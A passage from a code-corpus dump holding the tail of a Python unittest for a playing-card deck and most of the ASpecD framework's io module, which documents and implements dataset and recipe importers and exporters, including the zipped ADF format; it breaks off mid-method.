self.assertRaises(AssertionError):\n            for i in range(53):\n                PlayingCard(deck)\n\n    def test_shuffle(self):\n        \"\"\"\n        This test the shuffle functionality by creating a new\n        deck that is not shuffled and comparing to make sure\n        it is not equal to the deck that has been shuffled\n        \"\"\"\n        SUIT_MAP = [\"Heart\", \"Spade\", \"Club\", \"Diamond\"]\n        VALUE_MAP = {\n            \"Two\": 2,\n            \"Three\": 3,\n            \"Four\": 4,\n            \"Five\": 5,\n            \"Six\": 6,\n            \"Seven\": 7,\n            \"Eight\": 8,\n            \"Nine\": 9,\n            \"Ten\": 10,\n            \"Jack\": 11,\n            \"Queen\": 12,\n            \"King\": 13,\n            \"Ace\": 14,\n        }\n        unshuffled_deck = list(product(SUIT_MAP, VALUE_MAP))\n        deck = PlayingCardDeck().get_string_value()\n\n        self.assertNotEqual(unshuffled_deck, deck)\n        \nif __name__ == '__main__':\n    unittest.main()","sub_path":"test_playing_card.py","file_name":"test_playing_card.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"342200931","text":"\"\"\"Input and output (IO) of information from and to the persistence layer.\n\nCurrently, input and output of both, datasets and recipes can be handled.\n\n\nDatasets\n========\n\nBoth, data and metadata contained in datasets as well as the information\nstored in recipes for recipe-driven data analysis can be read and written.\n\nFor datasets, two generic classes are provided:\n\n* :class:`aspecd.io.DatasetImporter`\n\n* :class:`aspecd.io.DatasetExporter`\n\nAs the name says, these classes should be used to implement import and\nexport functionality for your own purposes in applications derived from the\nASpecD framework.\n\nGenerally, both import and export should be handled via the respective\nmethods of the :class:`aspecd.dataset.Dataset` class, thus first\ninstantiating an object of that class and an appropriate importer or\nexporter, and afterwards only operating on the dataset using its methods.\n\nIn its most generic form, this may look something like:\n\n.. code-block::\n\n    dataset = aspecd.dataset.Dataset()\n    importer = aspecd.io.DatasetImporter(source=\"/path/to/your/data\")\n    dataset.import_from(importer)\n\nSimilarly, you would handle the export of your data (and metadata)\ncontained in a dataset object using an exporter object, respectively.\n\n.. code-block::\n\n    dataset = aspecd.dataset.Dataset()\n    importer = aspecd.io.DatasetExporter(target=\"/path/to/destination\")\n    dataset.export_to(exporter)\n\n\nHowever, if you use :ref:`recipe-driven data analysis <recipes>`, things\nbecome much simpler:\n\n* Imports will be automatically taken care of.\n\n* Exports can be specified as simple task.\n\n\nA simple example of a recipe only loading datasets and afterwards exporting\nthem could look like this:\n\n.. code-block:: yaml\n\n    datasets:\n      - /path/to/first/dataset\n      - /path/to/second/dataset\n\n    tasks:\n      - kind: export\n        type: AdfExporter\n        properties:\n          target:\n            - dataset1\n            - dataset2\n\n\nWhat is happening here? Two datasets are imported, and afterwards exported\nto the ASpecD Dataset Format (ADF) using the :class:`aspecd.io.AdfExporter`.\n\nAnother frequent use case, although one that admittedly pretty much opposes\nthe whole idea of the ASpecD framework in terms of reproducibility and\ntraceability: Your collaboration partners require you to provide them with\nraw data they can import into their favourite program for creating plots.\nThe only viable way: export to plain text (ouch!) - saying good-bye to all\nyour metadata and history:\n\n.. code-block:: yaml\n\n    datasets:\n      - /path/to/first/cool/dataset\n      - /path/to/second/cool/dataset\n      - /path/to/another/cool/dataset\n\n    tasks:\n      - kind: export\n        type: TxtExporter\n        properties:\n          target:\n            - cool-dataset1\n            - cool-dataset2\n            - cool-dataset3\n\n\nIn this case, you can as well add whatever processing necessary to your\ndatasets before exporting them, and you see that recipes come in quite handy\nhere.\n\n\n\nImporters for specific file formats\n-----------------------------------\n\nThere exists a series of importers for specific file formats:\n\n* :class:`aspecd.io.AdfImporter`\n\n  Importer for data in ASpecD Dataset Format (ADF)\n\n* :class:`aspecd.io.AsdfImporter`\n\n  Importer for data in asdf format\n\n* :class:`aspecd.io.TxtImporter`\n\n  Importer for data in plain text format\n\nFor details, see the respective class documentation.\n\n\nExporters for specific file formats\n-----------------------------------\n\nDatasets need to be persisted sometimes, and currently, there exist two\nexporters for specific file formats that can be imported again using the\nrespective importers. Furthermore, the full information contained in a\ndataset will be retained.\n\n* :class:`aspecd.io.AdfExporter`\n\n  Exporter for datasets to ASpecD Dataset Format (ADF)\n\n* :class:`aspecd.io.AsdfExporter`\n\n  Exporter for datasets to asdf format\n\nFor details, see the respective class documentation.\n\nA bit a special case is the exporter to plain text files, as this file\nformat does *not* preserve the metadata stored within the dataset and should\nonly be used as last resort:\n\n* :class:`aspecd.io.TxtExporter`\n\n  Exporter for data to plain text format\n\n\n.. warning::\n    All metadata contained within a dataset (including the full history)\n    are lost when exporting to plain text. Therefore, using this\n    exporter will usually result in you loosing reproducibility. Hence,\n    better think twice before using this exporter and use entirely on\n    your own risk and only if you *really* know what you are doing (and\n    why).\n\n\nWriting importers for data\n--------------------------\n\nWhen writing importer classes for your own data, there is a number of\npitfalls, some of which shall be described here together with solutions and\n\"best practices\".\n\nDimensions of data\n~~~~~~~~~~~~~~~~~~\n\nUsually, we assign axes in the order *x*, *y*, *z*, and assume the *x* axis\nto be the horizontal axis in a plot. However, numpy (as well as other\nsoftware), follows a different convention, with the first index referring to\nthe *row* of your matrix, the second index to the *column*. That boils down\nto having the first index correspond to the *y* axis, and the second index\nreferring to the *x* axis.\n\nAs long as your data are one-dimensional, resulting in two axes objects in\nyour dataset, everything is fine, and the second axis will have no values.\n\nHowever, if your data to be imported are two-dimensional, your first\ndimension will be the index of rows (along a column), hence the *y* axis,\nand the second dimension the index of your columns (along a row), *i.e.* the\n*x* axis. This is perfectly fine, and it is equally fine to revert this\norder, as long as you ensure your axis objects to be consistent with the\ndimensions of your data.\n\nIf you assign numeric data to the :attr:`aspecd.dataset.Data.data` property,\nthe corresponding axes values will initially be set to the indices of the\ndata points along the corresponding dimension, with the first axis (index 0)\ncorresponding to the first dimension (row indices along a column) and\nsimilar for each of the following dimensions of your data. Note that there\nwill always be one axis more than dimensions of your data. This last axis\nwill not have values, and usually its quantity is something like \"intensity\".\n\n\nBackup of the data\n~~~~~~~~~~~~~~~~~~\n\nOne essential concept of the ASpecD dataset is to store the original data\ntogether with their axes in a separate, non-public property. This is done\nautomatically by the importer after calling out to its non-public method\n:meth:`aspecd.io.DatasetImporter._import`. Hence, usually you need not take\ncare of this at all.\n\n\nHandling of metadata\n~~~~~~~~~~~~~~~~~~~~\n\nData without information about these data are usually pretty useless. Hence,\nan ASpecD dataset is always a unit of numerical data and corresponding\nmetadata. While you will need to come up with your own structure for\nmetadata of your datasets and create a hierarchy of classes derived from\n:class:`aspecd.metadata.DatasetMetadata`, your importers need to ensure that\nthese metadata are populated respectively. Of course, which metadata can be\npopulated depends strongly on the file format you are about to import.\n\n\nHandling different file formats for importing data\n--------------------------------------------------\n\nOften, data are available in different formats, and deciding which importer\nis appropriate for a given format can be quite involved. To free other\nclasses from having to contain the relevant code, a factory can be used:\n\n* :class:`aspecd.io.DatasetImporterFactory`\n\nCurrently, the sole information provided to decide about the appropriate\nimporter is the source (a string). A concrete importer object is returned\nby the method :meth:`get_importer`. Thus, using the factory in another\nclass may look like the following::\n\n  importer_factory = aspecd.io.DatasetImporterFactory()\n  importer = importer_factory.get_importer(source=\"/path/to/your/data\")\n  dataset = aspecd.dataset.Dataset()\n  dataset.import_from(importer)\n\nHere, as in the example above, \"source\" refers to a (unique) identifier of\nyour dataset, be it a filename, path, URL/URI, LOI, or alike.\n\n.. important::\n    For recipe-driven data analysis to work with an ASpecD-derived package,\n    you need to implement a :class:`aspecd.io.DatasetImporterFactory` class\n    there as well that can be obtained by instantiating\n    ``<your_package>.io.DatasetImporterFactory()``.\n\n\nRecipes\n=======\n\nFor recipes, a similar set of classes is provided:\n\n* :class:`aspecd.io.RecipeImporter`\n\n* :class:`aspecd.io.RecipeExporter`\n\nFor additional concrete classes handling import and export from and to YAML\nfiles see below.\n\nThe same general principles laid out above for the datasets applies to\nthese classes as well. In particular, both import and export should be\nhandled via the respective methods of the :class:`aspecd.tasks.Recipe`\nclass, thus first instantiating an object of that class and an appropriate\nimporter or exporter, and afterwards only operating on the recipe using\nits methods.\n\nIn its most generic form, this may look something like::\n\n    recipe = aspecd.tasks.Recipe()\n    importer = aspecd.io.RecipeImporter(source=\"/path/to/your/recipe\")\n    recipe.import_from(importer)\n\nSimilarly, you would handle the export of the information contained in a\nrecipe object using an exporter object, respectively.\n\nTo simplify the input and output of recipes, and due recipe-driven data\nanalysis being an intrinsic property of the ASpecD framework, two classes\nhandling the import and export from and to YAML files are provided as well:\n\n* :class:`aspecd.io.RecipeYamlImporter`\n\n* :class:`aspecd.io.RecipeYamlExporter`\n\nThese classes can directly be used to work with YAML files containing\ninformation for recipe-driven data analysis. For details of the YAML file\nstructure, see the :class:`aspecd.tasks.Recipe` class and its attributes.\n\n\nModule documentation\n====================\n\n\"\"\"\nimport copy\nimport io\nimport os\nimport tempfile\nimport zipfile\n\nimport asdf\nimport numpy as np\n\nimport aspecd.exceptions\nimport aspecd.metadata\nimport aspecd.utils\n\n\nclass DatasetImporter:\n    \"\"\"Base class for dataset importer.\n\n    Each class actually importing data and metadata into a dataset should\n    inherit from this class.\n\n    To perform the import, call the\n    :meth:`~aspecd.dataset.Dataset.import_from` method of the dataset\n    the import should be performed for, and provide a reference to the\n    actual importer object to it.\n\n    The actual implementation of the importing is done in the private method\n    :meth:`_import` that in turn gets called by :meth:`import_into`\n    which is called by the :meth:`aspecd.dataset.Dataset.import_from` method\n    of the dataset object.\n\n    One question arising when actually implementing an importer for a\n    specific file format: How do the data get into the dataset? The simple\n    answer: The :meth:`_import` method of the importer knows about the\n    dataset and its structure (see :class:`aspecd.dataset.Dataset` for\n    details) and assigns data (and metadata) read from an external source\n    to the respective fields of the dataset. In terms of a broader software\n    architecture point of view: The dataset knows nothing about the\n    importer besides its bare existence and interface, whereas the importer\n    knows about the dataset and how to map data and metadata.\n\n    Attributes\n    ----------\n    dataset : :class:`aspecd.dataset.Dataset`\n        dataset to import data and metadata into\n\n    source : :class:`str`\n        specifier of the source the data and metadata will be read from\n\n    parameters : :class:`dict`\n        Additional parameters to control import options.\n\n        Useful in case of, *e.g.*, CSV importers where the user may want to\n        set things such as the delimiter\n\n        .. versionadded:: 0.2\n\n    Raises\n    ------\n    aspecd.io.MissingDatasetError\n        Raised when no dataset exists to act upon\n\n    \"\"\"\n\n    def __init__(self, source=None):\n        self.source = source\n        self.dataset = None\n        self.parameters = {}\n\n    def import_into(self, dataset=None):\n        \"\"\"Perform the actual import into the given dataset.\n\n        If no dataset is provided at method call, but is set as property in\n        the importer object, the :meth:`aspecd.dataset.Dataset.import_from`\n        method of the dataset will be called.\n\n        If no dataset is provided at method call nor as property in the\n        object, the method will raise a respective exception.\n\n        The dataset object always calls this method with the respective\n        dataset as argument. Therefore, in this case setting the dataset\n        property within the importer object is not necessary.\n\n        The actual import should be implemented within the non-public method\n        :meth:`_import`.\n\n        .. note::\n            A number of parameters of the dataset are automatically assigned\n            *after* calling out to the non-public method\n            :meth:`aspecd.io.DatasetImporter._import`, namely the\n            non-public property ``_origdata`` of the dataset is populated\n            with a copy of :attr:`aspecd.dataset.Dataset.data`, and id and\n            label are set to :attr:`aspecd.io.DatasetImporter.source`.\n\n        Parameters\n        ----------\n        dataset : :class:`aspecd.dataset.Dataset`\n            Dataset to import data and metadata into\n\n        Raises\n        ------\n        aspecd.io.MissingDatasetError\n            Raised if no dataset is provided.\n\n        \"\"\"\n        if not dataset:\n            if self.dataset:\n                self.dataset.import_from(self)\n            else:\n                raise aspecd.exceptions.MissingDatasetError(\n                    \"No dataset provided\")\n        else:\n            self.dataset = dataset\n        self._import()\n        # Untested due to lack of ideas how to test\n        # pylint: disable=protected-access\n        self.dataset._origdata = copy.deepcopy(self.dataset.data)\n        self.dataset.id = self.source\n        if self.source and not self.dataset.label:\n            self.dataset.label = os.path.split(self.source)[-1]\n\n    def _import(self):\n        \"\"\"Perform the actual import of data and metadata into the dataset.\n\n        The implementation of the actual import goes in here in all\n        classes inheriting from DatasetImporter. This method is automatically\n        called by :meth:`import_into`.\n\n        Importing data and metadata includes assigning both to the respective\n        fields of the :obj:`aspecd.dataset.Dataset` object. For details of\n        its structure, see there.\n\n        Usually, this method will successively call other private/protected\n        methods of the importer to perform the required tasks that are\n        specific for each data source.\n\n        \"\"\"\n\n\nclass DatasetImporterFactory:\n    \"\"\"\n    Factory for creating importer objects based on the source provided.\n\n    Often, data are available in different formats, and deciding which\n    importer is appropriate for a given format can be quite involved. To\n    free other classes from having to contain the relevant code, a factory\n    can be used.\n\n    Currently, the sole information provided to decide about the\n    appropriate importer is the source (a string). A concrete importer\n    object is returned by the method :meth:`get_importer`. If no source is\n    provided, an exception will be raised.\n\n    The actual code for deciding which type of importer to return in what\n    case should be implemented in the non-public method :meth:`_get_importer`\n    in any package based on the ASpecD framework.\n\n    In its basic implementation, as done here, the non-public method\n    :meth:`_get_importer` returns the importers for ADF, ASDF, and TXT\n    depending on the file extension, and in all other cases the standard\n    importer.\n\n    This might be a viable way for an own :class:`DatasetImporterFactory`\n    implementation in the rare case of having only one single type of data,\n    but provides a sensible starting point for own developments.\n\n\n    Attributes\n    ----------\n    source : :class:`str`\n        Source of the dataset to be loaded.\n\n        Gets set by calling the method :meth:`get_importer` with the\n        ``source`` parameter.\n\n    Raises\n    ------\n    aspecd.io.MissingSourceError\n        Raised if no source is provided\n\n    \"\"\"\n\n    def __init__(self):\n        self.source = None\n\n    def get_importer(self, source='', importer='', parameters=None):\n        \"\"\"\n        Return importer object for dataset specified by its source.\n\n        The actual code for deciding which type of importer to return in what\n        case should be implemented in the non-public method\n        :meth:`_get_importer` in any package based on the ASpecD framework.\n\n        If no importer gets returned by the method :meth:`_get_importer`,\n        the ASpecD-interal importers will be checked for matching the file\n        type. Thus, you can overwrite the behaviour of any filetype\n        supported natively by the ASpecD framework, but retain compatibility\n        to the ASpecD-specific file types.\n\n        .. note::\n            Currently, only filenames/paths are supported, and if ``source``\n            does not start with the file separator, the absolute path to the\n            current directory is prepended.\n\n\n        Parameters\n        ----------\n        source : :class:`str`\n            string describing the source of the dataset\n\n            May be a filename or path, a URL/URI, a LOI, or similar\n\n        importer : :class:`str`\n            Name of the importer to use for importing the dataset\n\n            Default: ''\n\n            .. versionadded:: 0.2\n\n        parameters : :class:`dict`\n            Additional parameters for controlling the import\n\n            Default: None\n\n            .. versionadded:: 0.2\n\n        Returns\n        -------\n        importer : :class:`aspecd.io.DatasetImporter`\n            importer object of appropriate class\n\n        Raises\n        ------\n        aspecd.io.MissingSourceError\n            Raised if no source is provided\n\n        \"\"\"\n        if not source:\n            raise aspecd.exceptions.MissingSourceError(\n                'A source is required to return an appropriate importer')\n        self.source = source\n        if not self.source.startswith(os.pathsep):\n            self.source = os.path.join(os.path.abspath(os.curdir), self.source)\n        if importer:\n            package_name = aspecd.utils.package_name(self)\n            # Currently untested\n            if not package_name.endswith('io'):\n                package_name = '.'.join([package_name, 'io'])\n            full_class_name = '.'.join([package_name, importer])\n            importer = aspecd.utils.object_from_class_name(full_class_name)\n            importer.source = self.source\n        if not importer:\n            importer = self._get_importer()\n        if not importer:\n            importer = self._get_aspecd_importer()\n        if parameters:\n            importer.parameters = parameters\n        return importer\n\n    # noinspection PyMethodMayBeStatic\n    def _get_importer(self):\n        \"\"\"Choose appropriate importer for a dataset.\n\n        Every package inheriting from the ASpecD framework should implement\n        this method. Note that in case you do not handle a filetype and\n        hence return no importer, the default ASpecD importer will be\n        checked for matching the given source. Thus, you can overwrite the\n        behaviour of any filetype supported natively by the ASpecD\n        framework, but retain compatibility to the ASpecD-specific file types.\n\n        Returns\n        -------\n        importer : :class:`aspecd.io.DatasetImporter`\n            Importer for the specific file type\n\n        \"\"\"\n        importer = None\n        return importer\n\n    def _get_aspecd_importer(self):\n        _, file_extension = os.path.splitext(self.source)\n        if file_extension == '.adf':\n            return AdfImporter(source=self.source)\n        if file_extension == '.asdf':\n            return AsdfImporter(source=self.source)\n        if file_extension == '.txt':\n            return TxtImporter(source=self.source)\n        return DatasetImporter(source=self.source)\n\n\nclass DatasetExporter:\n    \"\"\"Base class for dataset exporter.\n\n    Each class actually exporting data from a dataset to some other should\n    inherit from this class.\n\n    To perform the export, call the\n    :meth:`~aspecd.dataset.Dataset.export_to` method of the dataset\n    the export should be performed for, and provide a reference to the\n    actual exporter object to it.\n\n    The actual implementation of the exporting is done in the non-public\n    method :meth:`_export` that in turn gets called by :meth:`export_from`\n    which is called by the :meth:`aspecd.dataset.Dataset.export_to` method\n    of the dataset object.\n\n    Attributes\n    ----------\n    dataset : :obj:`aspecd.dataset.Dataset`\n        dataset to export data and metadata from\n\n    target : string\n        specifier of the target the data and metadata will be written to\n\n    comment : :class:`str`\n        User-supplied comment describing intent, purpose, reason, ...\n\n\n    Raises\n    ------\n    aspecd.io.MissingDatasetError\n        Raised when no dataset exists to act upon\n\n\n    .. versionchanged:: 0.6.4\n        New attribute :attr:`comment`\n\n    \"\"\"\n\n    def __init__(self, target=None):\n        self.target = target\n        self.dataset = None\n        self.comment = ''\n\n    def export_from(self, dataset=None):\n        \"\"\"Perform the actual export from the given dataset.\n\n        If no dataset is provided at method call, but is set as property in\n        the exporter object, the :meth:`aspecd.dataset.Dataset.export_to`\n        method of the dataset will be called.\n\n        If no dataset is provided at method call nor as property in the\n        object, the method will raise a respective exception.\n\n        The dataset object always calls this method with the respective\n        dataset as argument. Therefore, in this case setting the dataset\n        property within the exporter object is not necessary.\n\n        The actual export is implemented within the non-public method\n        :meth:`_export` that gets automatically called.\n\n        Parameters\n        ----------\n        dataset : :class:`aspecd.dataset.Dataset`\n            Dataset to export data and metadata from\n\n        Raises\n        ------\n        aspecd.io.MissingDatasetError\n            Raised if no dataset is provided.\n\n        \"\"\"\n        if not dataset:\n            if self.dataset:\n                self.dataset.export_to(self)\n            else:\n                raise aspecd.exceptions.MissingDatasetError(\n                    \"No dataset provided\")\n        else:\n            self.dataset = dataset\n        self._export()\n\n    def _export(self):\n        \"\"\"Perform the actual export of data and metadata from the dataset.\n\n        The implementation of the actual export goes in here in all\n        classes inheriting from DatasetExporter. This method is automatically\n        called by :meth:`export_from`.\n\n        Usually, this method will successively call other private/protected\n        methods of the exporter to perform the required tasks that are\n        specific for each target format.\n\n        \"\"\"\n\n\nclass RecipeImporter:\n    \"\"\"Base class for recipe importer.\n\n    Each class actually importing recipes into a :obj:`aspecd.tasks.Recipe`\n    object should inherit from this class.\n\n    To perform the import, call the\n    :meth:`~aspecd.tasks.Recipe.import_from` method of the recipe the\n    import should be performed for, and provide a reference to the\n    actual importer object to it.\n\n    The actual implementation of the importing is done in the non-public\n    method :meth:`_import` that in turn gets called by :meth:`import_into`\n    which is called by the :meth:`aspecd.tasks.Recipe.import_from` method\n    of the recipe object.\n\n    One question arising when actually implementing an importer for a\n    specific file format: How does the information get into the recipe? The\n    simple answer: The :meth:`_import` method of the importer knows about the\n    recipe and its structure (see :class:`aspecd.tasks.Recipe` for\n    details) and creates a dictionary with keys corresponding to the\n    respective attributes of the recipe. In turn, it can then call the\n    :meth:`aspecd.tasks.Recipe.from_dict` method. In terms of a broader\n    software architecture point of view: The recipe knows nothing about the\n    importer besides its bare existence and interface, whereas the importer\n    knows about the recipe and how to map the information obtained to it.\n\n    Attributes\n    ----------\n    recipe : :obj:`aspecd.tasks.Recipe`\n        recipe to import into\n    source : :class:`str`\n        specifier of the source the information will be read from\n\n    Raises\n    ------\n    aspecd.io.MissingRecipeError\n        Raised when no dataset exists to act upon\n\n    \"\"\"\n\n    def __init__(self, source=''):\n        self.source = source\n        self.recipe = None\n\n    def import_into(self, recipe=None):\n        \"\"\"Perform the actual import into the given recipe.\n\n        If no recipe is provided at method call, but is set as property in\n        the importer object, the :meth:`aspecd.tasks.Recipe.import_from`\n        method of the recipe will be called.\n\n        If no recipe is provided at method call nor as property in the\n        object, the method will raise a respective exception.\n\n        The recipe object always calls this method with the respective\n        recipe as argument. Therefore, in this case setting the recipe\n        property within the importer object is not necessary.\n\n        The actual import should be implemented within the non-public method\n        :meth:`_import`.\n\n        Parameters\n        ----------\n        recipe : :obj:`aspecd.tasks.Recipe`\n            recipe to import into\n\n        Raises\n        ------\n        aspecd.io.MissingRecipeError\n            Raised if no recipe is provided.\n\n        \"\"\"\n        if not recipe:\n            if self.recipe:\n                self.recipe.import_from(self)\n            else:\n                raise aspecd.exceptions.MissingRecipeError(\"No recipe provided\")\n        else:\n            self.recipe = recipe\n        self.recipe.filename = self.source\n        self._import()\n\n    def _import(self):\n        \"\"\"Perform the actual import into the recipe.\n\n        The implementation of the actual import goes in here in all\n        classes inheriting from RecipeImporter. This method is automatically\n        called by :meth:`import_into`.\n\n        Importing metadata includes assigning it to the respective fields\n        of the :obj:`aspecd.tasks.Recipe` object. For details of\n        its structure, see there. To do this, the method should create a\n        dictionary that can afterwards be supplied as an argument to a call\n        to :meth:`aspecd.tasks.Recipe.from_dict`.\n\n        \"\"\"\n\n\nclass RecipeExporter:\n    \"\"\"Base class for recipe exporter.\n\n    Each class actually exporting recipes from :obj:`aspecd.tasks.Recipe`\n    objects should inherit from this class.\n\n    To perform the export, call the\n    :meth:`aspecd.tasks.Recipe.export_to` method of the recipe the export\n    should be performed for, and provide a reference to the actual exporter\n    object to it.\n\n    The actual implementation of the exporting is done in the non-public\n    method :meth:`_export` that in turn gets called by :meth:`export_from`\n    which is called by the :meth:`aspecd.tasks.Recipe.export_to` method\n    of the recipe object.\n\n    Attributes\n    ----------\n    recipe : :obj:`aspecd.tasks.Recipe`\n        recipe to export information from\n    target : string\n        specifier of the target the information will be written to\n\n    Raises\n    ------\n    aspecd.io.MissingRecipeError\n        Raised when no dataset exists to act upon\n\n    \"\"\"\n\n    def __init__(self, target=''):\n        self.target = target\n        self.recipe = None\n\n    def export_from(self, recipe=None):\n        \"\"\"Perform the actual export from the given recipe.\n\n        If no recipe is provided at method call, but is set as property in\n        the exporter object, the :meth:`aspecd.tasks.Recipe.export_to`\n        method of the recipe will be called.\n\n        If no recipe is provided at method call nor as property in the\n        object, the method will raise a respective exception.\n\n        The recipe object always calls this method with the respective\n        recipe as argument. Therefore, in this case setting the recipe\n        property within the exporter object is not necessary.\n\n        The actual export should be implemented within the non-public method\n        :meth:`_export`.\n\n        Parameters\n        ----------\n        recipe : :class:`aspecd.tasks.Recipe`\n            Recipe to export from\n\n        Raises\n        ------\n        aspecd.io.MissingRecipeError\n            Raised if no recipe is provided.\n\n        \"\"\"\n        if not recipe:\n            if self.recipe:\n                self.recipe.export_to(self)\n            else:\n                raise aspecd.exceptions.MissingRecipeError(\"No recipe provided\")\n        else:\n            self.recipe = recipe\n        self._export()\n\n    def _export(self):\n        \"\"\"Perform the actual export from the recipe.\n\n        The implementation of the actual export goes in here in all\n        classes inheriting from RecipeExporter. This method is automatically\n        called by :meth:`export_from`.\n\n        Usually, this method will first create a dictionary from the recipe\n        using the :meth:`aspecd.tasks.Recipe.to_dict` method. This\n        dictionary can afterwards be further processed and written to some\n        file.\n\n        \"\"\"\n\n\nclass RecipeYamlImporter(RecipeImporter):\n    \"\"\"\n    Recipe importer for importing from YAML files.\n\n    The YAML file needs to have a structure compatible to the actual\n    recipe, such that the dict created from reading the YAML file can be\n    directly fed into the :meth:`aspecd.tasks.Recipe.from_dict` method.\n\n    The order of entries of the YAML file is preserved due to using ordered\n    dictionaries (:class:`collections.OrderedDict`) internally.\n\n    Parameters\n    ----------\n    source : :class:`str`\n        filename of a YAML file to read from\n\n    \"\"\"\n\n    def __init__(self, source=''):\n        self.recipe_version = ''\n        self._recipe_dict = None\n        super().__init__(source=source)\n\n    def _import(self):\n        self._load_from_yaml()\n        self._convert()\n        self.recipe.from_dict(self._recipe_dict)\n\n    def _load_from_yaml(self):\n        yaml = aspecd.utils.Yaml()\n        yaml.read_from(filename=self.source)\n        yaml.deserialise_numpy_arrays()\n        self._recipe_dict = yaml.dict\n\n    def _convert(self):\n        self._get_recipe_version()\n        self._map_recipe_structure()\n\n    def _get_recipe_version(self):\n        self.recipe_version = self.recipe.format['version']\n        if 'format' in self._recipe_dict \\\n                and 'version' in self._recipe_dict['format']:\n            self.recipe_version = self._recipe_dict['format']['version']\n        deprecated_keys = ['default_package', 'autosave_plots',\n                           'output_directory', 'datasets_source_directory']\n        if any(key in self._recipe_dict for key in deprecated_keys):\n            self.recipe_version = '0.1'\n\n    def _map_recipe_structure(self):\n        mapper = aspecd.metadata.MetadataMapper()\n        mapper.version = self.recipe_version\n        mapper.metadata = self._recipe_dict\n        mapper.recipe_filename = 'recipe_mapper.yaml'\n        mapper.map()\n        self._recipe_dict = mapper.metadata\n\n\nclass RecipeYamlExporter(RecipeExporter):\n    \"\"\"\n    Recipe exporter for exporting to YAML files.\n\n    The YAML file will have a structure corresponding to the output of the\n    :meth:`aspecd.tasks.Recipe.to_dict` method of the recipe object.\n\n    Parameters\n    ----------\n    target : :class:`str`\n        filename of a YAML file to write to\n\n    \"\"\"\n\n    def __init__(self, target=''):\n        super().__init__(target=target)\n\n    def _export(self):\n        yaml = aspecd.utils.Yaml()\n        yaml.dict = self.recipe.to_dict()\n        yaml.numpy_array_to_list = True\n        yaml.serialise_numpy_arrays()\n        yaml.write_to(filename=self.target)\n\n\nclass AdfExporter(DatasetExporter):\n    \"\"\"\n    Dataset exporter for exporting to ASpecD dataset format.\n\n    The ASpecD dataset format is vaguely reminiscent of the Open Document\n    Format, *i.e.* a zipped directory containing structured data (in this\n    case in form of a YAML file) and binary data in a corresponding\n    subdirectory.\n\n    As PyYAML is not capable of dealing with NumPy arrays out of the box,\n    those are dealt with separately. Small arrays are stored inline as\n    lists, larger arrays in separate files. For details, see the\n    :class:`aspecd.utils.Yaml` class.\n\n    The data format tries to be as self-contained as possible,\n    using standard file formats and a brief description of its layout\n    contained within the archive. Collecting the contents in a single ZIP\n    archive allows the user to deal with a single file for a dataset,\n    while more advanced users can easily dig into the details and write\n    importers for other platforms and programming languages, making the\n    format rather platform-independent and future-safe. Due to using binary\n    representation for larger numerical arrays, the format should be more\n    memory-efficient than other formats.\n\n    \"\"\"\n\n    def __init__(self, target=None):\n        super().__init__(target=target)\n        self.extension = '.adf'\n        self._filenames = {\n            'dataset': 'dataset.yaml',\n            'version': 'VERSION',\n            'readme': 'README',\n        }\n        self._bin_dir = 'binaryData'\n        self._tempdir_name = ''\n        self._version = '1.0.0'\n\n    def _export(self):\n        if not self.target:\n            raise aspecd.exceptions.MissingTargetError\n        with tempfile.TemporaryDirectory() as tempdir:\n            self._tempdir_name = tempdir\n            self._create_files()\n            self._create_zip_archive()\n\n    def _create_zip_archive(self):\n        with zipfile.ZipFile(self.target + self.extension, 'w') as zipped_file:\n            for filename in self._filenames.values():\n                zipped_file.write(\n                    filename=os.path.join(self._tempdir_name, filename),\n                    arcname=filename)\n            bin_dir_path = os.path.join(self._tempdir_name, self._bin_dir)\n            zipped_file.write(\n                filename=os.path.join(bin_dir_path),\n                arcname=self._bin_dir)\n            for filename in os.listdir(bin_dir_path):\n                zipped_file.write(\n                    filename=os.path.join(bin_dir_path, filename),\n                    arcname=os.path.join(self._bin_dir, filename))\n\n    def _create_files(self):\n        self._create_dataset_yaml()\n        self._create_version_file()\n        self._create_readme_file()\n\n    def _create_dataset_yaml(self):\n        bin_dir_path = os.path.join(self._tempdir_name, self._bin_dir)\n        os.mkdir(bin_dir_path)\n        yaml = aspecd.utils.Yaml()\n        yaml.binary_directory = bin_dir_path\n        yaml.dict = self.dataset.to_dict()\n        yaml.serialise_numpy_arrays()\n        yaml.write_to(filename=os.path.join(self._tempdir_name,\n                                            self._filenames[\"dataset\"]))\n\n    def _create_version_file(self):\n        with open(os.path.join(self._tempdir_name,\n                               self._filenames[\"version\"]),\n                  'w+', encoding=\"utf8\") as file:\n            file.write(self._version)\n\n    def _create_readme_file(self):\n        readme_contents = (\n            \"Readme\\n\"\n            \"======\\n\\n\"\n            \"This directory contains an ASpecD dataset stored in the\\n\"\n            \"ASpecD dataset format (adf).\\n\\n\"\n            \"What follows is a bit of information on the meaning of\\n\"\n            \"each of the files in the directory.\\n\"\n            \"Sources of further information on the file format\\n\"\n            \"are provided at the end of the file.\\n\\n\"\n            \"Copyright (c) 2021, Till Biskup\\n\"\n            \"2021-01-04\\n\\n\"\n            \"Files and their meaning\\n\"\n            \"-----------------------\\n\\n\"\n            \"* dataset.yaml - text/YAML\\n\"\n            \"  hierarchical metadata store\\n\\n\"\n            \"* binaryData/<filename>.npy - NumPy binary\\n\"\n            \"  numerical data of the dataset stored in NumPy format\\n\\n\"\n            \"  Only arrays exceeding a certain threshold are stored\\n\"\n            \"  in binary format, mainly to save space and preserve\\n\"\n            \"  numerical accuracy.\\n\\n\"\n            \"* VERSION - text\\n\"\n            \"  version number of the dataset format\\n\\n\"\n            \"  The version number follows the semantic versioning scheme.\\n\\n\"\n            \"* README - text\\n\"\n            \"  This file\\n\\n\"\n            \"Further information\\n\"\n            \"-------------------\\n\\n\"\n            \"More information can be found on the web in the\\n\"\n            \"ASpecD package documentation:\\n\\n\"\n            \"https://docs.aspecd.de/adf.html\\n\"\n        )\n        with open(os.path.join(self._tempdir_name,\n                               self._filenames[\"readme\"]),\n                  'w+', encoding=\"utf8\") as file:\n            file.write(readme_contents)\n\n\nclass AdfImporter(DatasetImporter):\n    \"\"\"\n    Dataset importer for importing from ASpecD dataset format.\n\n    For more details of the ASpecD dataset format, see the\n    :class:`aspecd.io.AdfExporter` class.\n\n    \"\"\"\n\n    def __init__(self, source=None):\n        super().__init__(source=source)\n        self.extension = '.adf'\n        self._dataset_yaml_filename = 'dataset.yaml'\n        self._bin_dir = 'binaryData'\n\n    def _import(self):\n        with tempfile.TemporaryDirectory() as tempdir:\n            with zipfile.ZipFile(self.source + self.extension, 'r') as \\\n                    